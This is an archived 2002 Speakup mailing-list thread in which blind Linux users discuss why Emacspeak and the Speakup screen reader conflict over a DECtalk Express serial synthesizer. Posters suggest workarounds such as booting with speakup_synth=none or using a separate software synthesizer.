> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > 
> > 
> > -- 
> > 
> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> > 
> > Email: janina@afb.net Phone: (202) 408-8175
> > 
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: emacspeak

[Igor Gueths]

Hi Janina. Well what happens is that first, I hit pint screen to so-called kill Speakup. Next, I type emacspeak. When I get Speakup up again to see why I got a \a (bell character), I see that at the bottom it says process speaker not running. I believe that this has to do with the i/o errors I was getting while trying to test the speech server with tcl. Also, I might be getting another dectalk express sometime in the future. If I plug that into my other serial port /dev/ttyS1, and re-export the dtk_port variable, could this possibly fix the problem? Or possibly using viavoice instead? Thanks!
----- Original Message ----- 
From: Janina Sajka <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 06, 2002 11:43 PM
Subject: Re: emacspeak


> Igor:
> 
> What happens when you launch emacspeak?
> 
> I presume you boot with Speakup. So, what happens when you
> launch Emacspeak?
> On Mon, 6 May 2002, Igor Gueths wrote:
> 
> > Hi all. Where can I find the resolution to this issue? What keywords
> > should I search for in the vassar archives? Thanks!
> > 
> > On Mon, 6 May 2002, Janina Sajka wrote:
> > 
> > > Speakup and emacspeak can share the same hardware synth.
> > >
> > > This issue was resolved some time ago.
> > >
> > > On Mon, 6 May 2002, Igor Gueths wrote:
> > >
> > > > Hi Janina and Hi all. Janina, I understand you are on the Emacspeak list
> > > > as well as the Speakup list, as I have subscribed to it. Do you or anyone
> > > > else, for that matter, know if Speakup interferes with i/o even after you
> > > > hit print-screen and Speakup is killed so I can start Emacspeak? Because I
> > > > have been getting basically I/o errors when testing the dtk-exp speech
> > > > server with tcl. Does anyone know if this is the case? Because I was
> > > > mainly going to use it for possibly Emacs itself (I've been digging around
> > > > Emacs docs for quite a while), and possibly running something like Tnt.
> > > > Can Tnt run under a Bash console, since it runs under a sort of shell
> > > > anyway? The only difference is that it is inside of Emacs not at a regular
> > > > Tcsh/Bash prompt? Any insite on this would be appreciated. Thanks!
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > > --
> > >
> > > Janina Sajka, Director
> > > Technology Research and Development
> > > Governmental Relations Group
> > > American Foundation for the Blind (AFB)
> > >
> > > Email: janina@afb.net Phone: (202) 408-8175
> > >
> > > Chair, Accessibility SIG
> > > Open Electronic Book Forum (OEBF)
> > > http://www.openebook.org
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> 
> -- 
> 
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: emacspeak

[Ann Parsons]

Hi all,

No, Janina, I have just discovered that I can't use both in the same
console cuz they will doublespeak, at least that's what Matt told me.
I have never attempted to find out what might happen.  I can use
speakup fine in other consoles, but not in the one with emacspeak.

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: emacspeak

[Ann Parsons]

Hi all,

You can't do that, Janina, or at least I don't think you can.  You can
read with the numpad options in speakup while in Emacspeak, but if you
turn on speaking mode in speakup, it will louse everything up.

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: emacspeak

[Janina Sajka]

Why? Is my system so very different from everyone else's?

On Tue, 7 May 2002, Ann Parsons wrote:

> Hi all,
> 
> You can't do that, Janina, or at least I don't think you can.  You can
> read with the numpad options in speakup while in Emacspeak, but if you
> turn on speaking mode in speakup, it will louse everything up.
> 
> Ann P.
> 
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: emacspeak

[Janina Sajka]

And, you might want to turn Speakup on from time to time, when
you find you don't quite recall how to do something with
Emacspeak.

On Tue, 7 May 2002, Ann Parsons wrote:

> Hi all,
> 
> You have to turn off Speakup in the buffer/console you're using for
> emacspeak.
> 
> Ann P.
> 
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: emacspeak

[Ann Parsons]

Hi all,

You have to turn off Speakup in the buffer/console you're using for
emacspeak.

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: emacspeak

[Janina Sajka]

Igor:

What happens when you launch emacspeak?

I presume you boot with Speakup. So, what happens when you
launch Emacspeak?
On Mon, 6 May 2002, Igor Gueths wrote:

> Hi all. Where can I find the resolution to this issue? What keywords
> should I search for in the vassar archives? Thanks!
> 
> On Mon, 6 May 2002, Janina Sajka wrote:
> 
> > Speakup and emacspeak can share the same hardware synth.
> >
> > This issue was resolved some time ago.
> >
> > On Mon, 6 May 2002, Igor Gueths wrote:
> >
> > > Hi Janina and Hi all. Janina, I understand you are on the Emacspeak list
> > > as well as the Speakup list, as I have subscribed to it. Do you or anyone
> > > else, for that matter, know if Speakup interferes with i/o even after you
> > > hit print-screen and Speakup is killed so I can start Emacspeak? Because I
> > > have been getting basically I/o errors when testing the dtk-exp speech
> > > server with tcl. Does anyone know if this is the case? Because I was
> > > mainly going to use it for possibly Emacs itself (I've been digging around
> > > Emacs docs for quite a while), and possibly running something like Tnt.
> > > Can Tnt run under a Bash console, since it runs under a sort of shell
> > > anyway? The only difference is that it is inside of Emacs not at a regular
> > > Tcsh/Bash prompt? Any insite on this would be appreciated. Thanks!
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> > --
> >
> > 				Janina Sajka, Director
> > 				Technology Research and Development
> > 				Governmental Relations Group
> > 				American Foundation for the Blind (AFB)
> >
> > Email: janina@afb.net		Phone: (202) 408-8175
> >
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: emacspeak

[Buddy Brannan]

I believe that the issue has only (sort-of) been resolved if you
happen to use a Doubletalk or a Doubletalk LT or
Litetalk. Otherwise...it has not.

I could be wrong though, and I hope I am actually. (It's happened before...)
-- 
Buddy Brannan, KB5ELV/3  | I choose you to take up all of my time.
Email: davros@ycardz.com | I choose you because you're funny and kind
                         | I want easy people from now on.
                         | --the Nields

Re: emacspeak

[Igor Gueths]

Hi all. Where can I find the resolution to this issue? What keywords
should I search for in the vassar archives? Thanks!

On Mon, 6 May 2002, Janina Sajka wrote:

> Speakup and emacspeak can share the same hardware synth.
>
> This issue was resolved some time ago.
>
> On Mon, 6 May 2002, Igor Gueths wrote:
>
> > Hi Janina and Hi all. Janina, I understand you are on the Emacspeak list
> > as well as the Speakup list, as I have subscribed to it. Do you or anyone
> > else, for that matter, know if Speakup interferes with i/o even after you
> > hit print-screen and Speakup is killed so I can start Emacspeak? Because I
> > have been getting basically I/o errors when testing the dtk-exp speech
> > server with tcl. Does anyone know if this is the case? Because I was
> > mainly going to use it for possibly Emacs itself (I've been digging around
> > Emacs docs for quite a while), and possibly running something like Tnt.
> > Can Tnt run under a Bash console, since it runs under a sort of shell
> > anyway? The only difference is that it is inside of Emacs not at a regular
> > Tcsh/Bash prompt? Any insite on this would be appreciated. Thanks!
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
>
> 				Janina Sajka, Director
> 				Technology Research and Development
> 				Governmental Relations Group
> 				American Foundation for the Blind (AFB)
>
> Email: janina@afb.net		Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: emacspeak

[Janina Sajka]

Speakup and emacspeak can share the same hardware synth.

This issue was resolved some time ago.

On Mon, 6 May 2002, Igor Gueths wrote:

> Hi Janina and Hi all. Janina, I understand you are on the Emacspeak list
> as well as the Speakup list, as I have subscribed to it. Do you or anyone
> else, for that matter, know if Speakup interferes with i/o even after you
> hit print-screen and Speakup is killed so I can start Emacspeak? Because I
> have been getting basically I/o errors when testing the dtk-exp speech
> server with tcl. Does anyone know if this is the case? Because I was
> mainly going to use it for possibly Emacs itself (I've been digging around
> Emacs docs for quite a while), and possibly running something like Tnt.
> Can Tnt run under a Bash console, since it runs under a sort of shell
> anyway? The only difference is that it is inside of Emacs not at a regular
> Tcsh/Bash prompt? Any insite on this would be appreciated. Thanks!
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: emacspeak

[Adam Myrow]

Sure, you can pass anything you like at the boot prompt.  However, if you
already have an append line in your lilo.conf, I don't know how that will
work.  That's why I like to copy tne lilo entry with a different append
line with the "speakup_synth=none" line so I can choose easily at boot
time whether I want Speakup or not.

Re: emacspeak

[Igor Gueths]

Hi Alex. Does Viavoice work with the Alsa modules? Because I could look at
getting it working if it works with Alsa.

On Mon, 6 May 2002, Alex Snow wrote:

> Or you can just use software speach.
> ----- Original Message -----
> From: "Adam Myrow" <myrow@eskimo.com>
> To: <speakup@braille.uwo.ca>
> Sent: Monday, May 06, 2002 7:20 PM
> Subject: Re: emacspeak
>
>
> > If you are using the Dectalk Express with Speakup, you can't use it with
> > Emacsspeak at the same time because Speakup takes over the serial port and
> > makes it not exist to the kernel.  You'll have to add an entry to Lilo
> > that boots your system and passes "speakup_synth=none."  Then, boot with
> > that entry when you want to use Emacsspeak.  Alternately, use a different
> > synthesizer for Emacsspeak from Speakup.  For example, Via Voice Outloud
> > with Emacsspeak and the Dectalk Express with Speakup.  Good luck.
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: emacspeak

[Igor Gueths]

Hi Adam. So Speakup basically hides the /dev/ttyS0, where the Dectalk is
connected, from the kernel? So when I reboot I can type emacspeak and have
it talking I suppose? Also, can I pass speakup_synth=none at the boot
prompt instead of eding lilo.conf? Thanks!

On Mon, 6 May 2002, Adam Myrow wrote:

> If you are using the Dectalk Express with Speakup, you can't use it with
> Emacsspeak at the same time because Speakup takes over the serial port and
> makes it not exist to the kernel.  You'll have to add an entry to Lilo
> that boots your system and passes "speakup_synth=none."  Then, boot with
> that entry when you want to use Emacsspeak.  Alternately, use a different
> synthesizer for Emacsspeak from Speakup.  For example, Via Voice Outloud
> with Emacsspeak and the Dectalk Express with Speakup.  Good luck.
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: emacspeak

[Alex Snow]

Or you can just use software speach.
----- Original Message -----
From: "Adam Myrow" <myrow@eskimo.com>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 06, 2002 7:20 PM
Subject: Re: emacspeak


> If you are using the Dectalk Express with Speakup, you can't use it with
> Emacsspeak at the same time because Speakup takes over the serial port and
> makes it not exist to the kernel.  You'll have to add an entry to Lilo
> that boots your system and passes "speakup_synth=none."  Then, boot with
> that entry when you want to use Emacsspeak.  Alternately, use a different
> synthesizer for Emacsspeak from Speakup.  For example, Via Voice Outloud
> with Emacsspeak and the Dectalk Express with Speakup.  Good luck.
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: emacspeak

[Adam Myrow]

If you are using the Dectalk Express with Speakup, you can't use it with
Emacsspeak at the same time because Speakup takes over the serial port and
makes it not exist to the kernel.  You'll have to add an entry to Lilo
that boots your system and passes "speakup_synth=none."  Then, boot with
that entry when you want to use Emacsspeak.  Alternately, use a different
synthesizer for Emacsspeak from Speakup.  For example, Via Voice Outloud
with Emacsspeak and the Dectalk Express with Speakup.  Good luck.

emacspeak

[Igor Gueths]

Hi Janina and Hi all. Janina, I understand you are on the Emacspeak list
as well as the Speakup list, as I have subscribed to it. Do you or anyone
else, for that matter, know if Speakup interferes with i/o even after you
hit print-screen and Speakup is killed so I can start Emacspeak? Because I
have been getting basically I/o errors when testing the dtk-exp speech
server with tcl. Does anyone know if this is the case? Because I was
mainly going to use it for possibly Emacs itself (I've been digging around
Emacs docs for quite a while), and possibly running something like Tnt.
Can Tnt run under a Bash console, since it runs under a sort of shell
anyway? The only difference is that it is inside of Emacs not at a regular
Tcsh/Bash prompt? Any insite on this would be appreciated. Thanks!